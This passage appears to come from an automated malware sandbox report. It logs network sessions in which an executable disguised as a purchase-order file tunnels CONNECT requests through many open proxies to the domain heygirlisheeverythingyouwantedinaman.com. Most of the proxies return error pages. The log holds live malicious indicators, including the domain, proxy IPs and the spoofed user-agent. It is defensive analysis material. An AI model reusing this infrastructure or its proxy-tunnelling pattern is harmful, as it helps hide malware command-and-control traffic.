Mar 11, 2024 16:42:23.719583035 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1064	192.168.2.11	53456	211.222.252.187	8197	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.569534063 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1065	192.168.2.11	53378	115.127.31.66	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.578110933 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1066	192.168.2.11	53389	103.190.54.141	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.578370094 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1067	192.168.2.11	52979	104.200.152.30	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.581058025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1068	192.168.2.11	53457	110.12.211.140	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.585058928 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1069	192.168.2.11	53402	43.231.22.228	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.585355043 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.995349884 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 15:42:23 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1070	192.168.2.11	53480	5.161.103.113	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.585575104 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1071	192.168.2.11	52844	195.114.209.50	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.586182117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.722829103 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.322674036 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 15:42:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 643 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 63 69 62 65 72 73 65 67 75 72 69 64 61 64 40 61 75 64 65 61 2e 65 73 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at ciberseguridad@audea.es to inform the
Mar 11, 2024 16:42:32.322776079 CET	299	IN	Data Raw: 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 Data Ascii: m of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at heygirlisheeverythi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1072	192.168.2.11	53458	121.66.198.76	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.594728947 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1073	192.168.2.11	52662	154.72.73.226	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.598659039 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1074	192.168.2.11	53431	116.199.168.1	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.608908892 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1075	192.168.2.11	53606	104.17.37.235	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.611263990 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.765628099 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1076	192.168.2.11	52675	137.184.122.223	8000	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.612973928 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.785248995 CET	32	IN	HTTP/1.0 504 Gateway Timeout

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1077	192.168.2.11	52867	52.151.210.204	9002	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.617314100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1078	192.168.2.11	53602	156.154.112.21	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.617676020 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.778836966 CET	1286	IN	HTTP/1.1 405 Method Not Allowed Server: squid/3.5.25 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 15:42:23 GMT Content-Type: text/html;charset=utf-8 Content-Length: 1557 X-Squid-Error: ERR_UNSUP_REQ 0 X-Cache: MISS from . X-Cache-Lookup: NONE from .:80 Via: 1.1 . (squid/3.5.25) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 37 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 0a 0a 62 6f 64 79 0a 3a 6c 61 6e 67 28 66 61 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 52 6f 79 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 20 7d 0a 3a 6c 61 6e 67 28 68 65 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 45 52 52 5f 55 4e 53 55 50 5f 52 45 51 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 3e 45 52 52 4f 52 3c 2f 68 31 3e 0a 3c 68 32 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 32 3e 0a 3c 2f 64 69 76 3e 0a 3c 68 72 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 54 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 72 65 74 72 69 65 76 65 20 74 68 65 20 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 65 72 72 6f 72 3a 6d 65 74 68 6f 64 2d 6e 6f 74 2d 61 6c 6c 6f 77 65 64 22 3e 65 72 72 6f 72 3a 6d 65 74 68 6f 64 2d 6e 6f 74 2d 61 6c 6c 6f 77 65 64 3c 2f 61 3e 3c 2f 70 3e 0a 0a 3c 62 6c 6f 63 6b 71 75 6f 74 65 20 69 64 3d 22 65 72 72 6f 72 22 3e 0a 3c 70 3e 3c 62 3e 55 6e 73 75 70 70 6f 72 74 65 64 20 52 65 71 75 65 73 74 20 4d 65 74 68 6f 64 20 61 6e 64 20 50 72 6f 74 6f 63 6f 6c 3c 2f 62 3e 3c 2f 70 3e 0a 3c 2f 62 6c 6f 63 6b 71 75 6f 74 65 3e 0a 0a 3c 70 3e 53 71 75 69 64 20 64 6f 65 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 20 61 6c 6c 20 72 65 71 75 65 73 74 20 6d 65 74 68 6f 64 73 20 66 6f 72 20 61 6c 6c 20 61 63 63 65 73 73 20 70 72 6f 74 6f 63 6f 6c 73 2e 20 46 6f 72 20 65 78 61 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2017 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... body:lang(fa) { direction: rtl; font-size: 100%; font-family: Tahoma, Roya, sans-serif; float: right; }:lang(he) { direction: rtl; } --></style></head><body id=ERR_UNSUP_REQ><div id="titles"><h1>ERROR</h1><h2>The requested URL could not be retrieved</h2></div><hr><div id="content"><p>The following error was encountered while trying to retrieve the URL: <a href="error:method-not-allowed">error:method-not-allowed</a></p><blockquote id="error"><p><b>Unsupported Request Method and Protocol</b></p></blockquote><p>Squid does not support all request methods for all access protocols. For exa
Mar 11, 2024 16:42:23.778896093 CET	577	IN	Data Raw: 6d 70 6c 65 2c 20 79 6f 75 20 63 61 6e 20 6e 6f 74 20 50 4f 53 54 20 61 20 47 6f 70 68 65 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 70 3e 59 6f 75 72 20 63 61 63 68 65 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 69 73 20 3c 61 20 68 72 Data Ascii: mple, you can not POST a Gopher request.</p><p>Your cache administrator is <a href="mailto:support@dnsadvantage.com?subject=CacheErrorInfo%20-%20ERR_UNSUP_REQ&body=CacheHost%3A%20.%0D%0AErrPage%3A%20ERR_UNSUP_REQ%0D%0AErr%3A%20%5Bnone%5D

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1079	192.168.2.11	53348	122.114.232.137	808	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.617837906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1080	192.168.2.11	53461	13.229.47.109	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.652915001 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.978528023 CET	222	IN	HTTP/1.1 400 Bad Request Date: Mon, 11 Mar 2024 15:39:51 GMT Content-Type: text/plain; charset=utf-8 Connection: close Content-Length: 12 X-Kong-Response-Latency: -7.62939453125e-06 Server: kong/2.8.1 Data Raw: 42 61 64 20 72 65 71 75 65 73 74 0a Data Ascii: Bad request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1081	192.168.2.11	53468	35.199.90.225	8888	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.666086912 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:13.238214970 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1082	192.168.2.11	53466	139.59.99.83	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.668642044 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.010287046 CET	891	IN	HTTP/1.1 400 Bad Request content-type: text/html cache-control: private, no-cache, max-age=0 pragma: no-cache content-length: 679 date: Mon, 11 Mar 2024 15:42:23 GMT server: LiteSpeed connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 30 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 49 74 20 69 73 20 6e 6f 74 20 61 20 76 61 6c 69 64 20 72 65 71 75 65 73 74 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"><title> 400 Bad Request</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">400</h1><h2 style="margin-top:20px;font-size: 30px;">Bad Request</h2><p>It is not a valid request!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1083	192.168.2.11	53472	51.89.14.70	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.674206018 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
